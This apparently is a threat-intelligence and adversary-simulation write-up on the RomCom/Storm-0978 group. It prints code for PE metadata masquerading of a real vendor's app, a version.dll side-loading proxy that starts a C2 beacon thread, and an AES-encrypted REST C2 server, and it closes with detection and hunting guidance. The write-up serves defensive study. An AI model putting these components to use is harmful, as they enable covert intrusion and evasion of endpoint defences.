RomCom / Storm-0978

Origin: Russia — Financially & Politically Motivated

Aliases: Storm-0978, Tropical Scorpius, UNC2596, Void Rabisu

Active Since: 2022 (publicly attributed)

Targets: Government, Defense, IT, Telecommunications — Ukraine, NATO allies, US

Focus Areas: Trojanized Software, DLL Side-Loading, Browser Zero-Days

Overview

RomCom exploits something fundamental about how people install software: they trust the download source. The group takes legitimate, widely-used applications — Advanced IP Scanner, PDF-XChange Editor, KeePass, Signal, even Firefox — and creates trojanized versions hosted on typosquat domains that are nearly indistinguishable from the real thing. The victim gets a fully functional application. They also get a Remote Access Trojan.

In late 2023, RomCom chained two zero-days (CVE-2023-36884 in Windows and CVE-2023-4863 in WebP/libwebp) to achieve zero-click code execution through malicious web pages. In 2024, they exploited Firefox (CVE-2024-9680, a use-after-free in the animation timeline) chained with a Windows Task Scheduler privilege escalation — again requiring only that the victim visit a webpage.


MITRE ATT&CK Mapping

Tactic Technique Simulation Tool
Initial Access T1189 — Drive-by Compromise (typosquat download sites) fake_download_site/
Execution T1204.002 — Malicious File (trojanized installer) pe_builder.py
Persistence T1574.002 — DLL Side-Loading (version.dll proxy) dll_sideloader.cpp
Command & Control T1071.001 — AES-256 encrypted REST C2 romcom_c2.py
Collection T1113 — Screen Capture (GDI-based) screen_capture.py
Defense Evasion T1036.005 — Masquerading (match legitimate app metadata) pe_builder.py

Building Trojanized Software

The first piece of the simulation is a PE header builder that creates executables with metadata matching legitimate applications. RomCom doesn't just name their malware AdvancedIPScanner.exe — they set the FileDescription, CompanyName, ProductVersion, and even the LegalCopyright fields to exactly match the real software. Security analysts doing triage see legitimate-looking properties in the file's Details tab.

# Construct VERSION_INFO resource to match legitimate app version_info = { 'CompanyName': 'Famatech Corp.', # Real company 'FileDescription': 'Advanced IP Scanner', # Real description 'FileVersion': '2.5.4594.1', # Real version 'InternalName': 'advanced_ip_scanner', 'LegalCopyright': 'Copyright (c) Famatech Corp.', 'OriginalFilename': 'advanced_ip_scanner.exe', 'ProductName': 'Advanced IP Scanner', 'ProductVersion': '2.5.4594.1' } # Build PE with proper sections: .text, .rdata, .data, .rsrc pe = PE() pe.add_section('.text', payload_code, characteristics=0x60000020) pe.add_section('.rsrc', build_version_resource(version_info))

The fake download site is the delivery mechanism — a pixel-perfect clone of the real software vendor's page, hosted on a domain like advancedipscanner-download.com. The HTML replicates the real site's layout, download buttons, and even the version changelog. JavaScript fingerprints the visitor (OS, browser, screen resolution) before serving the payload, and non-target visitors get redirected to the legitimate site.


DLL Side-Loading: Running in a Trusted Context

This is the core persistence mechanism, and it's devastatingly effective. Most Windows applications load certain DLLs from their own directory before checking C:\Windows\System32. The classic target is version.dll — loaded by hundreds of legitimate applications.

RomCom drops a malicious version.dll next to the legitimate executable. This DLL forwards every export function to the real system DLL (so the application works perfectly), while simultaneously spawning a background thread that executes the RAT payload. From the perspective of EDR/AV, the code is running inside a signed, trusted process.

// version.dll — forward all 17 exports to the real DLL #pragma comment(linker, "/export:GetFileVersionInfoA=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoA") #pragma comment(linker, "/export:GetFileVersionInfoByHandle=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoByHandle") #pragma comment(linker, "/export:GetFileVersionInfoExA=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoExA") #pragma comment(linker, "/export:GetFileVersionInfoExW=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoExW") #pragma comment(linker, "/export:GetFileVersionInfoSizeA=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoSizeA") #pragma comment(linker, "/export:GetFileVersionInfoSizeExA=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoSizeExA") #pragma comment(linker, "/export:GetFileVersionInfoSizeExW=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoSizeExW") #pragma comment(linker, "/export:GetFileVersionInfoSizeW=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoSizeW") #pragma comment(linker, "/export:GetFileVersionInfoW=\ C:\\Windows\\System32\\version.dll.GetFileVersionInfoW") #pragma comment(linker, "/export:VerFindFileA=\ C:\\Windows\\System32\\version.dll.VerFindFileA") #pragma comment(linker, "/export:VerQueryValueA=\ C:\\Windows\\System32\\version.dll.VerQueryValueA") #pragma comment(linker, "/export:VerQueryValueW=\ C:\\Windows\\System32\\version.dll.VerQueryValueW") DWORD WINAPI PayloadThread(LPVOID lpParam) { // C2 beacon loop — runs in background while app works normally while (true) { beacon_to_c2(); Sleep(BEACON_INTERVAL_MS); } return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL); } return TRUE; }

Building this hands-on made the detection gap obvious: EDR products that whitelist based on parent process name or signer will completely miss this. The fix is monitoring DLL load events and alerting when a known system DLL (like version.dll, dbghelp.dll, wininet.dll) is loaded from an unusual directory — specifically, not System32 or SysWOW64.


AES-256 REST C2 Server

RomCom's C2 uses standard HTTPS REST endpoints — POST /api/v1/check-in, GET /api/v1/tasks/{id} — making the traffic blend into normal web application requests. The difference is that every payload is AES-256-CBC encrypted with a pre-shared key, and the encrypted blob is base64-encoded before transmission.

The RAT module includes GDI-based screen capture — using the Windows Graphics Device Interface to capture the screen contents without triggering the screenshot detection that some EDR products implement for user-space screen capture APIs.

# AES-256-CBC encryption for C2 communications def encrypt_payload(self, data, key): iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) padded = pad(json.dumps(data).encode(), AES.block_size) encrypted = cipher.encrypt(padded) return base64.b64encode(iv + encrypted).decode() # C2 check-in mimics standard REST API @app.route('/api/v1/check-in', methods=['POST']) def check_in(): encrypted = request.json.get('data') beacon = decrypt_payload(encrypted, SESSION_KEY) # Queue tasks for this implant tasks = get_pending_tasks(beacon['implant_id']) return jsonify({'data': encrypt_payload(tasks, SESSION_KEY)})

Detection Guidance

Key Challenge: The malicious DLL runs inside a signed, trusted process. Detection requires monitoring DLL load paths and comparing download sources against known-good vendor domains.

What to hunt for:

1. DLL load events where system DLLs (version.dll, dbghelp.dll) load from non-system directories
2. Recently registered domains hosting software download pages (typosquat analysis)
3. PE files with version info matching legitimate software but different code signing certificates
4. Background threads spawned immediately on DLL_PROCESS_ATTACH in newly loaded DLLs
5. Encrypted HTTPS POST requests to /api/v1/ endpoints with high-entropy base64 payloads
6. GDI calls (CreateCompatibleDC, BitBlt) from non-graphical applications

Full simulation code available on GitHub.